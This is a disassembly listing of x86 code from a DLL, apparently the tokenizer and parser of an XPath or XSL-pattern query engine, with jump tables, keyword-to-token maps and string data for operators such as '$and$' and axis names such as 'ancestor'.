jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B610DD: ; CODE XREF: sub_69B60C8B+40Bj
mov eax, offset asc_69B270E0 ; "'"
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B610E7: ; CODE XREF: sub_69B60C8B+385j
mov eax, offset asc_69B26FC0 ; "-"
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B610F1: ; CODE XREF: sub_69B60C8B+37Fj
cmp eax, 3Eh
jg short loc_69B6113F
jz short loc_69B61138
sub eax, 2Eh
jz short loc_69B61131
dec eax
jz short loc_69B6112A
sub eax, 0Bh
jz short loc_69B61123
dec eax
jz short loc_69B6111C
dec eax
jz short loc_69B61115
dec eax
jnz short loc_69B61158 ; default
; jumptable 69B60CAA cases -87,-80,-77,-76,-73,-72,-59,-57,-55,-50--47,-45
; jumptable 69B60EDE cases -37,-29--27
mov eax, offset dword_69B2959C
jmp short locret_69B61187
; ---------------------------------------------------------------------------
loc_69B61115: ; CODE XREF: sub_69B60C8B+47Ej
mov eax, offset dword_69B295A8
jmp short locret_69B61187
; ---------------------------------------------------------------------------
loc_69B6111C: ; CODE XREF: sub_69B60C8B+47Bj
mov eax, offset dword_69B295AC
jmp short locret_69B61187
; ---------------------------------------------------------------------------
loc_69B61123: ; CODE XREF: sub_69B60C8B+478j
mov eax, offset asc_69B282D8 ; ":"
jmp short locret_69B61187
; ---------------------------------------------------------------------------
loc_69B6112A: ; CODE XREF: sub_69B60C8B+473j
mov eax, offset dword_69B25CE0
jmp short locret_69B61187
; ---------------------------------------------------------------------------
loc_69B61131: ; CODE XREF: sub_69B60C8B+470j
mov eax, offset dword_69B295C0
jmp short locret_69B61187
; ---------------------------------------------------------------------------
loc_69B61138: ; CODE XREF: sub_69B60C8B+46Bj
mov eax, offset asc_69B270DC ; ">"
jmp short locret_69B61187
; ---------------------------------------------------------------------------
loc_69B6113F: ; CODE XREF: sub_69B60C8B+469j
sub eax, 40h
jz short loc_69B61182
sub eax, 1Bh
jz short loc_69B6117B
dec eax
dec eax
jz short loc_69B61174
sub eax, 1Eh
jz short loc_69B6116D
dec eax
jz short loc_69B61166
dec eax
jz short loc_69B6115F
loc_69B61158: ; CODE XREF: sub_69B60C8B+19j
; sub_69B60C8B+1Fj ...
mov eax, offset aUnknown ; default
; jumptable 69B60CAA cases -87,-80,-77,-76,-73,-72,-59,-57,-55,-50--47,-45
; jumptable 69B60EDE cases -37,-29--27
jmp short locret_69B61187
; ---------------------------------------------------------------------------
loc_69B6115F: ; CODE XREF: sub_69B60C8B+4CBj
mov eax, offset dword_69B6132C
jmp short locret_69B61187
; ---------------------------------------------------------------------------
loc_69B61166: ; CODE XREF: sub_69B60C8B+4C8j
mov eax, offset asc_69B270BC ; "|"
jmp short locret_69B61187
; ---------------------------------------------------------------------------
loc_69B6116D: ; CODE XREF: sub_69B60C8B+4C5j
mov eax, offset dword_69B61328
jmp short locret_69B61187
; ---------------------------------------------------------------------------
loc_69B61174: ; CODE XREF: sub_69B60C8B+4C0j
mov eax, offset asc_69B29560 ; "]"
jmp short locret_69B61187
; ---------------------------------------------------------------------------
loc_69B6117B: ; CODE XREF: sub_69B60C8B+4BCj
mov eax, offset asc_69B270CC ; "["
jmp short locret_69B61187
; ---------------------------------------------------------------------------
loc_69B61182: ; CODE XREF: sub_69B60C8B+4B7j
mov eax, offset dword_69B29590
locret_69B61187: ; CODE XREF: sub_69B60C8B+2Bj
; sub_69B60C8B+35j ...
retn 4
sub_69B60C8B endp
; ---------------------------------------------------------------------------
off_69B6118A dd offset loc_69B60EAF, offset loc_69B60EA5, offset loc_69B60E9B
; DATA XREF: sub_69B60C8B+1Fr
dd offset loc_69B60E91, offset loc_69B60E87, offset loc_69B60E7D ; jump table for switch statement
dd offset loc_69B60E73, offset loc_69B60E69, offset loc_69B60E5F
dd offset loc_69B60E55, offset loc_69B60E4B, offset loc_69B60E37
dd offset loc_69B60E41, offset loc_69B60E2D, offset loc_69B60E23
dd offset loc_69B60E19, offset loc_69B60F67, offset loc_69B60E0F
dd offset loc_69B60E05, offset loc_69B60D15, offset loc_69B60DFB
dd offset loc_69B60D1F, offset loc_69B60DF1, offset loc_69B60DE7
dd offset loc_69B60DDD, offset loc_69B61158, offset loc_69B60DD3
dd offset loc_69B60DC9, offset loc_69B60DBF, offset loc_69B60DB5
dd offset loc_69B60DAB, offset loc_69B60DA1, offset loc_69B61158
dd offset loc_69B60D97, offset loc_69B60D8D, offset loc_69B61158
dd offset loc_69B61158, offset loc_69B60D83, offset loc_69B60D79
dd offset loc_69B61158, offset loc_69B61158, offset loc_69B60D6F
dd offset loc_69B60D65, offset loc_69B60D5B, offset loc_69B60FAD
dd offset loc_69B60D51, offset loc_69B60D01, offset loc_69B60CC5
dd offset loc_69B60CBB, offset loc_69B60CB1, offset loc_69B60D47
dd offset loc_69B60D3D, offset loc_69B60D33, offset loc_69B61158
dd offset loc_69B60D0B, offset loc_69B61158, offset loc_69B60CCF
dd offset loc_69B61158, offset loc_69B60D1F, offset loc_69B60D29
dd offset loc_69B60D15, offset loc_69B60D01, offset loc_69B61158
dd offset loc_69B61158, offset loc_69B61158, offset loc_69B61158
dd offset loc_69B60CF7, offset loc_69B61158, offset loc_69B60CED
dd offset loc_69B60CE3, offset loc_69B60CD9
off_69B612A6 dd offset loc_69B60FB7 ; DATA XREF: sub_69B60C8B+253r
dd offset loc_69B61158 ; jump table for switch statement
dd offset loc_69B60F8F
dd offset loc_69B60F7B
dd offset loc_69B60F85
dd offset loc_69B60F99
dd offset loc_69B60F71
dd offset loc_69B60FAD
dd offset loc_69B60FA3
dd offset loc_69B61158
dd offset loc_69B61158
dd offset loc_69B61158
dd offset loc_69B60FF3
dd offset loc_69B60FE9
dd offset loc_69B60FDF
dd offset loc_69B60FD5
dd offset loc_69B60FCB
dd offset loc_69B60FC1
dd offset loc_69B60F35
dd offset loc_69B60F2B
dd offset loc_69B60F21
dd offset loc_69B60F17
dd offset loc_69B60F0D
dd offset loc_69B60F03
dd offset loc_69B60F67
dd offset loc_69B60F5D
dd offset loc_69B60F53
dd offset loc_69B60F49
dd offset loc_69B60F3F
dd offset loc_69B60EF9
dd offset loc_69B60EEF
dd offset loc_69B60EE5
align 4
dword_69B61328 dd 7Bh dword_69B6132C dd 7Dh aUnknown: ; DATA XREF: sub_69B60C8B:loc_69B61158o
unicode 0, <unknown>,0
aProcessingInst: ; DATA XREF: sub_69B60C8B:loc_69B60DB5o
unicode 0, <processing-instruction>,0
align 10h
aMod: ; DATA XREF: sub_69B60C8B:loc_69B60DABo
unicode 0, <mod>,0
aDiv: ; DATA XREF: sub_69B60C8B:loc_69B60DA1o
unicode 0, <div>,0
asc_69B61380: ; DATA XREF: sub_69B60C8B:loc_69B60D97o
unicode 0, <::>,0
align 4
aNamespace: ; DATA XREF: sub_69B60C8B:loc_69B60D79o
unicode 0, <namespace>,0
; =============== S U B R O U T I N E =======================================
sub_69B6139C proc near ; CODE XREF: sub_69B62690+6Ep
arg_0 = dword ptr 4
mov edx, offset dword_69B613D0
xor eax, eax
mov ecx, edx
push esi
loc_69B613A6: ; CODE XREF: sub_69B6139C+1Cj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_69B613C0
add ecx, 30h
inc eax
cmp ecx, offset sub_69B61B50
jl short loc_69B613A6
xor eax, eax
loc_69B613BC: ; CODE XREF: sub_69B6139C+2Cj
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B613C0: ; CODE XREF: sub_69B6139C+10j
lea eax, [eax+eax*2]
shl eax, 4
add eax, edx
jmp short loc_69B613BC
sub_69B6139C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B613D0 dd 0FFFFFFC2h, 1, 1004h, 8 dup(0) dd offset sub_69B633C4
dd 0FFFFFFDDh, 0Ah dup(0)
dd offset loc_69B62C08
dd 0FFFFFFC6h, 1, 10h, 8 dup(0)
dd offset sub_69B62C49
dd 0FFFFFF9Fh, 0Ah dup(0)
dd offset sub_69B62CE7
dd 0FFFFFFCDh, 1, 2, 8 dup(0)
dd offset sub_69B6334C
dd 0FFFFFFE0h, 9 dup(0)
dd 1
dd offset sub_69B63114
dd 0FFFFFFC8h, 9 dup(0)
dd 1
dd offset sub_69B63114
dd 0FFFFFFDAh, 9 dup(0)
dd 0FFFFFFFFh
dd offset sub_69B63114
dd 0FFFFFFE1h, 1, 1002h, 7 dup(0)
dd 0Fh
dd offset sub_69B63114
dd 0FFFFFFE2h, 1, 1002h, 8 dup(0)
dd offset sub_69B63114
dd 0FFFFFFDFh, 9 dup(0)
dd 6
dd offset sub_69B63114
dd 0FFFFFFDCh, 1, 1002h, 7 dup(0)
dd 5
dd offset sub_69B63114
dd 0FFFFFFDEh, 9 dup(0)
dd 2
dd offset sub_69B63114
dd 0FFFFFFD8h, 9 dup(0)
dd 2
dd offset sub_69B631EE
dd 0FFFFFFD6h, 9 dup(0)
dd 3
dd offset sub_69B631EE
dd 0FFFFFFD5h, 9 dup(0)
dd 4
dd offset sub_69B631EE
dd 0FFFFFFD4h, 9 dup(0)
dd 5
dd offset sub_69B631EE
dd 0FFFFFFABh, 9 dup(0)
dd 9
dd offset sub_69B631EE
dd 0FFFFFFA6h, 1, 1010h, 7 dup(0)
dd 4
dd offset sub_69B631EE
dd 0FFFFFFA7h, 1, 1010h, 7 dup(0)
dd 8
dd offset sub_69B631EE
dd 0FFFFFFA8h, 1, 1010h, 7 dup(0)
dd 0Bh
dd offset sub_69B631EE
dd 0FFFFFFACh, 9 dup(0)
dd 0Ah
dd offset sub_69B631EE
dd 0FFFFFFAAh, 1, 10h, 7 dup(0)
dd 6
dd offset sub_69B631EE
dd 0FFFFFF9Eh, 1, 2, 7 dup(0)
dd 0Ch
dd offset sub_69B631EE
dd 0FFFFFFD2h, 9 dup(0)
dd 7
dd offset sub_69B631EE
dd 0FFFFFFCAh, 1, 2, 7 dup(0)
dd 5
dd offset sub_69B632D3
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 3 dup(0FFh)
dd 1, 2, 7 dup(0)
dd 4
dd offset sub_69B632D3
db 0CCh
db 3 dup(0FFh)
dd 1, 2, 7 dup(0)
dd 3
dd offset sub_69B632D3
dd 0FFFFFF9Ch, 1, 2, 7 dup(0)
dd 2
dd offset sub_69B62A6D
dd 0FFFFFF9Bh, 1, 2, 7 dup(0)
dd 1
dd offset sub_69B62A6D
dd 0FFFFFF9Ah, 2, 4, 2, 6 dup(0)
dd 3
dd offset sub_69B62B64
dd 0FFFFFF99h, 2, 4, 2, 6 dup(0)
dd 4
dd offset sub_69B62B64
dd 0FFFFFF97h, 3 dup(2), 6 dup(0)
dd 6
dd offset sub_69B62B64
dd 0FFFFFF96h, 3 dup(2), 6 dup(0)
dd 7
dd offset sub_69B62B64
dd 0FFFFFF95h, 3 dup(2), 6 dup(0)
dd 8
dd offset sub_69B62B64
dd 0FFFFFF94h, 3 dup(2), 6 dup(0)
dd 9
dd offset sub_69B62B64
dd 0FFFFFF93h, 3, 2, 4, 1004h, 5 dup(0)
dd 0Ah
dd offset sub_69B62B64
dd 0FFFFFF92h, 1, 1002h, 7 dup(0)
dd 0Bh
dd offset sub_69B62B64
dd 0FFFFFF91h, 1, 1002h, 7 dup(0)
dd 0Ch
dd offset sub_69B62B64
db 90h
db 3 dup(0FFh)
dd 3, 3 dup(2), 5 dup(0)
dd 0Dh
dd offset sub_69B62B64
; =============== S U B R O U T I N E =======================================
sub_69B61B50 proc near ; CODE XREF: sub_69B5F23C+110p
; sub_69B61C54+2Ap ...
arg_0 = dword ptr 4
push 80004005h
push [esp+4+arg_0]
call sub_69B2E8A2
retn 4
sub_69B61B50 endp
; =============== S U B R O U T I N E =======================================
sub_69B61B61 proc near ; CODE XREF: sub_69B5EB78+Dp
; sub_69B5F23C+F2p ...
arg_0 = dword ptr 4
push edi
push [esp+4+arg_0]
call sub_69B60C8B
mov edi, eax
test edi, edi
jz short loc_69B61B9D
push esi
push 27h
call sub_69B60C8B
mov esi, eax
push 0
push esi ; lpString
call sub_69B1A587
push eax
push edi ; lpString
call sub_69B1A587
push eax
push esi ; lpString
call sub_69B1A587
push eax
call sub_69B2F2CA
add esp, 10h
pop esi
jmp short loc_69B61BB0
; ---------------------------------------------------------------------------
loc_69B61B9D: ; CODE XREF: sub_69B61B61+Ej
mov edx, [ecx+1Ch]
mov eax, [ecx+18h]
sub eax, edx
dec eax
dec eax
sar eax, 1
push eax
push edx
call sub_69B190C1
loc_69B61BB0: ; CODE XREF: sub_69B61B61+3Aj
pop edi
retn 4
sub_69B61B61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B61BB4 proc near ; CODE XREF: sub_69B5F23C+108p
; sub_69B61C54+22p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_C]
test ebx, ebx
push esi
push edi
jnz short loc_69B61BC4
mov ebx, [ecx+10h]
loc_69B61BC4: ; CODE XREF: sub_69B61BB4+Bj
mov eax, [ebp+arg_8]
test eax, eax
jnz short loc_69B61BD0
mov eax, [ecx+18h]
dec eax
dec eax
loc_69B61BD0: ; CODE XREF: sub_69B61BB4+15j
sub eax, [ebp+arg_4]
mov esi, [ebp+arg_4]
sar eax, 1
sub esi, ebx
sar esi, 1
mov [ebp+arg_4], eax
call sub_69B88D77
push [ebp+arg_0]
mov edi, eax
mov ecx, edi
call sub_69B88EA5
push 0Ah
mov ecx, edi
call sub_69B88E7C
push esi
push 0
push ebx
mov ecx, edi
call sub_69B88E3F
cmp [ebp+arg_4], 0
jz short loc_69B61C22
push offset asc_69B296A4 ; "-->"
mov ecx, edi
call sub_69B88E04
push [ebp+arg_4]
mov ecx, edi
push esi
push ebx
call sub_69B88E3F
loc_69B61C22: ; CODE XREF: sub_69B61BB4+54j
push offset asc_69B61C4C ; "<--"
mov ecx, edi
call sub_69B88E04
mov eax, [ebp+arg_4]
add eax, esi
lea eax, [ebx+eax*2]
push eax ; lpString
mov ecx, edi
call sub_69B88E04
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+2Ch]
pop edi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B61BB4 endp
; ---------------------------------------------------------------------------
; const WCHAR asc_69B61C4C
asc_69B61C4C: ; DATA XREF: sub_69B61BB4:loc_69B61C22o
dw 3Ch
unicode 0, <-->,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B61C54 proc near ; CODE XREF: sub_69B6240B+24p
; sub_69B62488+12p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push esi
push [ebp+arg_10]
mov esi, ecx
push [ebp+arg_C]
push [ebp+arg_8]
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B2F944
add esp, 0Ch
push eax
mov ecx, esi
call sub_69B61BB4
push eax
mov ecx, esi
call sub_69B61B50
pop esi
pop ebp
retn 14h
sub_69B61C54 endp
; =============== S U B R O U T I N E =======================================
sub_69B61C88 proc near ; CODE XREF: sub_69B62690+66p
; sub_69B62E54+4Ap
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
mov eax, [esi]
push edi
push esi
mov ebx, ecx
call dword ptr [eax+4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
push eax
push ecx
push 48h
push offset off_69B61CD0
call sub_69B63D0A
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
test edi, edi
jz short loc_69B61CBF
mov eax, [edi+4]
mov [ebx+20h], eax
jmp short loc_69B61CC6
; ---------------------------------------------------------------------------
loc_69B61CBF: ; CODE XREF: sub_69B61C88+2Dj
mov dword ptr [ebx+20h], 0FFFFFFFCh
loc_69B61CC6: ; CODE XREF: sub_69B61C88+35j
mov eax, [ebx+20h]
pop edi
pop esi
pop ebx
retn 4
sub_69B61C88 endp
; ---------------------------------------------------------------------------
align 10h
off_69B61CD0 dd offset asc_69B26FC4 ; DATA XREF: sub_69B61C88+19o
; "!"
dd 21h
dd offset asc_69B2969C ; "!="
dd 0FFFFFFF9h
dd offset asc_69B270E4 ; "\""
dd 22h
dd offset asc_69B29698 ; "$"
dd 24h
dd offset aAll ; "$all$"
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 3 dup(0FFh)
dd offset aAnd ; "$and$"
dd 0FFFFFFC1h
dd offset aAny ; "$any$"
dd 0FFFFFFC4h
dd offset aEq ; "$eq$"
dd 0FFFFFFF1h
dd offset aGe ; "$ge$"
dd 0FFFFFFEDh
dd offset aGt_0 ; "$gt$"
dd 0FFFFFFECh
dd offset aIeq ; "$ieq$"
; ---------------------------------------------------------------------------
jmp short near ptr loc_69B61D24+1 ; CODE XREF: .text:loc_69B61D24j
; ---------------------------------------------------------------------------
dw 0FFFFh
dd offset aIge ; "$ige$"
dd 0FFFFFFE7h
dd offset aIgt ; "$igt$"
dd 0FFFFFFE6h
dd offset aIle ; "$ile$"
dd 0FFFFFFE8h
dd offset aIlt ; "$ilt$"
dd 0FFFFFFE9h
dd offset aIne ; "$ine$"
dd 0FFFFFFEAh
dd offset aLe ; "$le$"
dd 0FFFFFFEEh
dd offset aLt_0 ; "$lt$"
dd 0FFFFFFEFh
dd offset aNe ; "$ne$"
dd 0FFFFFFF0h
dd offset aNot ; "$not$"
dd 0FFFFFFBFh
dd offset aOr ; "$or$"
dd 0FFFFFFC0h
dd offset asc_69B295C4 ; "&&"
dd 0FFFFFFF6h
dd offset asc_69B270E0 ; "'"
dd 27h
dd offset asc_69B270C8 ; "("
dd 28h
dd offset asc_69B270B4 ; ")"
dd 29h
dd offset dword_69B122A4
dd 2Ah
dd offset asc_69B270C0 ; "+"
dd 2Bh
dd offset asc_69B270B8 ; ","
dd 2Ch
dd offset asc_69B26FC0 ; "-"
dd 2Dh
dd offset dword_69B295C0
dd 2Eh
dd offset a__ ; ".."
dd 0FFFFFFFEh
dd offset dword_69B25CE0
dd 2Fh
dd offset asc_69B295B0 ; "//"
dd 0FFFFFFFDh
dd offset asc_69B282D8 ; ":"
dd 3Ah
dd offset dword_69B295AC
dd 3Bh
dd offset dword_69B295A8
dd 3Ch
dd offset asc_69B295A0 ; "<="
dd 0FFFFFFF8h
dd offset dword_69B2959C
dd 3Dh
dd offset asc_69B270DC ; ">"
dd 3Eh
dd offset asc_69B29594 ; ">="
dd 0FFFFFFF7h
dd offset dword_69B29590
dd 40h
dd offset aName_0 ; "NAME"
dd 0FFFFFFFCh
dd offset aNumber_0 ; "NUMBER"
dd 0FFFFFFFAh
dd offset aString_0 ; "STRING"
dd 0FFFFFFFBh
dd offset asc_69B270CC ; "["
dd 5Bh
dd offset asc_69B29560 ; "]"
dd 5Dh
dd offset aAncestor ; "ancestor"
dd 0FFFFFFCDh
dd offset aAnd_0 ; "and"
dd 0FFFFFFF4h
dd offset aAttribute ; "attribute"
dd 0FFFFFFE1h
dd offset aCdata ; "cdata"
dd 0FFFFFFDFh
dd offset aComment ; "comment"
dd 0FFFFFFDEh
dd offset aContext ; "context"
dd 0FFFFFFC2h
dd offset aDate ; "date"
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 3 dup(0FFh)
dd offset aElement ; "element"
dd 0FFFFFFE2h
dd offset aEnd ; "end"
dd 0FFFFFFD2h
dd offset aEof ; "eof"
align 10h
dd offset aId ; "id"
dd 0FFFFFFC6h
dd offset aIndex ; "index"
dd 0FFFFFFD4h
dd offset aNode ; "node"
dd 0FFFFFFDAh
dd offset aNodename ; "nodeName"
dd 0FFFFFFD5h
dd offset aNodetype ; "nodeType"
dd 0FFFFFFD6h
dd offset aNot_0 ; "not"
dd 0FFFFFFF2h
dd offset aNumber ; "number"
db 0CCh
db 3 dup(0FFh)
dd offset aOr_0 ; "or"
dd 0FFFFFFF3h
dd offset aPi ; "pi"
dd 0FFFFFFDCh
dd offset aString ; "string"
dd 0FFFFFFCAh
dd offset aText ; "text"
dd 0FFFFFFDDh
dd offset aTextnode ; "textNode"
dd 0FFFFFFC8h
dd offset aTextnode_0 ; "textnode"
dd 0FFFFFFE0h
dd offset aValue ; "value"
dd 0FFFFFFD8h
dd offset asc_69B270BC ; "|"
dd 7Ch
dd offset asc_69B294FC ; "||"
dd 0FFFFFFF5h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B61F10 proc near ; CODE XREF: sub_69B633C4+7Fp
; sub_69B6349E+233p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
cmp dword ptr [esi], 3
jnz short loc_69B61F3D
fld qword ptr [esi+8]
call sub_69B1A82C
mov [ebp+var_4], eax
fild [ebp+var_4]
fcomp qword ptr [esi+8]
fnstsw ax
test ah, 44h
jp short loc_69B61F39
xor eax, eax
inc eax
jmp short loc_69B61F3F
; ---------------------------------------------------------------------------
loc_69B61F39: ; CODE XREF: sub_69B61F10+22j
xor eax, eax
jmp short loc_69B61F3F
; ---------------------------------------------------------------------------
loc_69B61F3D: ; CODE XREF: sub_69B61F10+Aj
xor al, al
loc_69B61F3F: ; CODE XREF: sub_69B61F10+27j
; sub_69B61F10+2Bj
pop esi
leave
retn
sub_69B61F10 endp
; =============== S U B R O U T I N E =======================================
sub_69B61F42 proc near ; CODE XREF: DllGetClassObject+63ECp
; sub_69B6227E+10p
push 44h
push offset dword_69B62190
call sub_69B19C5C
xor ebx, ebx
cmp byte_69B9B2D0, bl
jnz loc_69B620D3
push dword_69B929E8
lea ecx, [ebp-1Ch]
call sub_69B18E23
push 1
lea ecx, [ebp-28h]
call sub_69B11D3B
mov [ebp-4], ebx
cmp byte_69B9B2D0, bl
jnz loc_69B620BF
call sub_69B1889C
push offset off_69B620E0
call sub_69B19611
mov [ebp-2Ch], eax
push eax ; Value
mov ecx, offset dword_69B9B2C8 ; Target
call sub_69B188DC
push offset off_69B620F0
call sub_69B19611
mov [ebp-30h], eax
push eax ; Value
mov ecx, offset dword_69B9B2C0 ; Target
call sub_69B188DC
push offset off_69B62100
call sub_69B19611
mov [ebp-34h], eax
push eax ; Value
mov ecx, offset dword_69B9B2B8 ; Target
call sub_69B188DC
push offset off_69B62110
call sub_69B19611
mov [ebp-38h], eax
push eax ; Value
mov ecx, offset dword_69B9B2B0 ; Target
call sub_69B188DC
push offset off_69B62120
call sub_69B19611
mov [ebp-3Ch], eax
push eax ; Value
mov ecx, offset dword_69B9B2A8 ; Target
call sub_69B188DC
push offset off_69B62130
call sub_69B19611
mov [ebp-40h], eax
push eax ; Value
mov ecx, offset dword_69B9B2A0 ; Target
call sub_69B188DC
push offset off_69B62140
call sub_69B19611
mov [ebp-44h], eax
push eax ; Value
mov ecx, offset dword_69B9B298 ; Target
call sub_69B188DC
push offset off_69B62150
call sub_69B19611
mov [ebp-48h], eax
push eax ; Value
mov ecx, offset dword_69B9B290 ; Target
call sub_69B188DC
push offset off_69B62160
call sub_69B19611
mov [ebp-4Ch], eax
push eax ; Value
mov ecx, offset dword_69B9B288 ; Target
call sub_69B188DC
push offset off_69B62170
call sub_69B19611
mov [ebp-50h], eax
push eax ; Value
mov ecx, offset dword_69B9B280 ; Target
call sub_69B188DC
push offset off_69B62180
call sub_69B19611
mov [ebp-54h], eax
push eax ; Value
mov ecx, offset dword_69B9B278 ; Target
call sub_69B188DC
call sub_69B6A68C
mov byte_69B9B2D0, 1
jmp short loc_69B620BF
; ---------------------------------------------------------------------------
loc_69B6209E: ; DATA XREF: .text:69B62194o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B620A7: ; DATA XREF: .text:69B62198o
mov esp, [ebp-18h]
lea ecx, [ebp-1Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B2D599
call sub_69B2E860
loc_69B620BF: ; CODE XREF: sub_69B61F42+3Bj
; sub_69B61F42+15Aj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
lea ecx, [ebp-1Ch]
call sub_69B1900C
loc_69B620D3: ; CODE XREF: sub_69B61F42+14j
call sub_69B1853C
retn
sub_69B61F42 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
off_69B620E0 dd offset off_69B17D10 ; DATA XREF: sub_69B61F42+46o
align 8
dd 3
dd offset aAnd_2 ; "and"
off_69B620F0 dd offset off_69B17D10 ; DATA XREF: sub_69B61F42+5Eo
align 8
dd 2
dd offset aOr_2 ; "or"
off_69B62100 dd offset off_69B17D10 ; DATA XREF: sub_69B61F42+76o
align 8
dd 3
dd offset aNot_2 ; "not"
off_69B62110 dd offset off_69B17D10 ; DATA XREF: sub_69B61F42+8Eo
align 8
dd 9
dd offset aAttribute_3 ; "attribute"
off_69B62120 dd offset off_69B17D10 ; DATA XREF: sub_69B61F42+A6o
align 8
dd 3
dd offset aMod_1 ; "mod"
off_69B62130 dd offset off_69B17D10 ; DATA XREF: sub_69B61F42+BEo
align 8
dd 3
dd offset aDiv_1 ; "div"
off_69B62140 dd offset off_69B17D10 ; DATA XREF: sub_69B61F42+D6o
align 8
dd 4
dd offset aNode_0 ; "node"
off_69B62150 dd offset off_69B17D10 ; DATA XREF: sub_69B61F42+EEo
align 8
dd 4
dd offset aText_3 ; "text"
off_69B62160 dd offset off_69B17D10 ; DATA XREF: sub_69B61F42+106o
align 8
dd 16h
dd offset aProcessingIn_1 ; "processing-instruction"
off_69B62170 dd offset off_69B17D10 ; DATA XREF: sub_69B61F42+11Eo
align 8
dd 7
dd offset aComment_2 ; "comment"
off_69B62180 dd offset off_69B17D10 ; DATA XREF: sub_69B61F42+136o
align 8
dd 2
dd offset aId_3 ; "id"
dword_69B62190 dd 0FFFFFFFFh dd offset loc_69B6209E
dd offset loc_69B620A7
align 10h
aAnd_2: ; DATA XREF: .text:69B620ECo
unicode 0, <and>,0
aOr_2: ; DATA XREF: .text:69B620FCo
unicode 0, <or>,0
align 10h
aNot_2: ; DATA XREF: .text:69B6210Co
unicode 0, <not>,0
aAttribute_3: ; DATA XREF: .text:69B6211Co
unicode 0, <attribute>,0
aMod_1: ; DATA XREF: .text:69B6212Co
unicode 0, <mod>,0
aDiv_1: ; DATA XREF: .text:69B6213Co
unicode 0, <div>,0
aNode_0: ; DATA XREF: .text:69B6214Co
unicode 0, <node>,0
align 4
aText_3: ; DATA XREF: .text:69B6215Co
unicode 0, <text>,0
align 4
aProcessingIn_1: ; DATA XREF: .text:69B6216Co
unicode 0, <processing-instruction>,0
align 4
aComment_2: ; DATA XREF: .text:69B6217Co
unicode 0, <comment>,0
aId_3: ; DATA XREF: .text:69B6218Co
unicode 0, <id>,0
align 4
; =============== S U B R O U T I N E =======================================
sub_69B6223C proc near ; DATA XREF: .text:69B2A4CCo
; .text:69B625A8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_69B6A9B8
lea ecx, [eax+8]
neg eax
sbb eax, eax
and eax, ecx
retn 8
sub_69B6223C endp
; =============== S U B R O U T I N E =======================================
sub_69B62255 proc near ; CODE XREF: sub_69B62255+16p
; sub_69B624A2+78p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
push edi
mov edi, ecx
jz short loc_69B62279
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+64h]
push eax
mov ecx, edi
call sub_69B62255
mov ecx, [edi+34h]
push esi
call sub_69B4DD27
loc_69B62279: ; CODE XREF: sub_69B62255+Aj
pop edi
pop esi
retn 4
sub_69B62255 endp
; =============== S U B R O U T I N E =======================================
sub_69B6227E proc near ; CODE XREF: sub_69B5FB10-A04p
; sub_69B625BC+29p ...
arg_0 = byte ptr 4
mov al, [esp+arg_0]
mov [ecx+0Ch], al
cmp dword_69B9B278, 0
jnz short loc_69B62293
call sub_69B61F42
loc_69B62293: ; CODE XREF: sub_69B6227E+Ej
call sub_69B1E031
retn 4
sub_69B6227E endp
; =============== S U B R O U T I N E =======================================
sub_69B6229B proc near ; CODE XREF: sub_69B62631+Bp
push ebx
push ebp
push esi
push edi
mov esi, ecx
xor edi, edi
xor bl, bl
call sub_69B5EA61
mov ecx, esi
call sub_69B60C68
mov eax, [esi+20h]
cmp eax, 0FFFFFFFCh
jnz short loc_69B622D0
cmp word ptr [esi+0Eh], 28h
jnz short loc_69B622D0
cmp [esi+2Ch], edi
jnz short loc_69B622D0
mov ecx, [esi+30h]
cmp ecx, dword_69B9B2B8
jz short loc_69B622D5
loc_69B622D0: ; CODE XREF: sub_69B6229B+1Cj
; sub_69B6229B+23j ...
cmp eax, 0FFFFFFBFh
jnz short loc_69B622DE
loc_69B622D5: ; CODE XREF: sub_69B6229B+33j
mov eax, [esi]
mov ecx, esi
mov bl, 1
call dword ptr [eax+44h]
loc_69B622DE: ; CODE XREF: sub_69B6229B+38j
mov eax, [esi+20h]
cmp eax, 0FFFFFFC3h
jz short loc_69B622F0
cmp eax, 0FFFFFFC4h
jnz short loc_69B622FA
xor edi, edi
inc edi
jmp short loc_69B622F3
; ---------------------------------------------------------------------------
loc_69B622F0: ; CODE XREF: sub_69B6229B+49j
push 2
pop edi
loc_69B622F3: ; CODE XREF: sub_69B6229B+53j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
loc_69B622FA: ; CODE XREF: sub_69B6229B+4Ej
push edi
mov ecx, esi
call sub_69B62D8D
mov ebp, eax
mov eax, [esi+20h]
cmp eax, 3Ch
jg short loc_69B6234D
jz short loc_69B62348 ; jumptable 69B6231D case 9
add eax, 1Ah
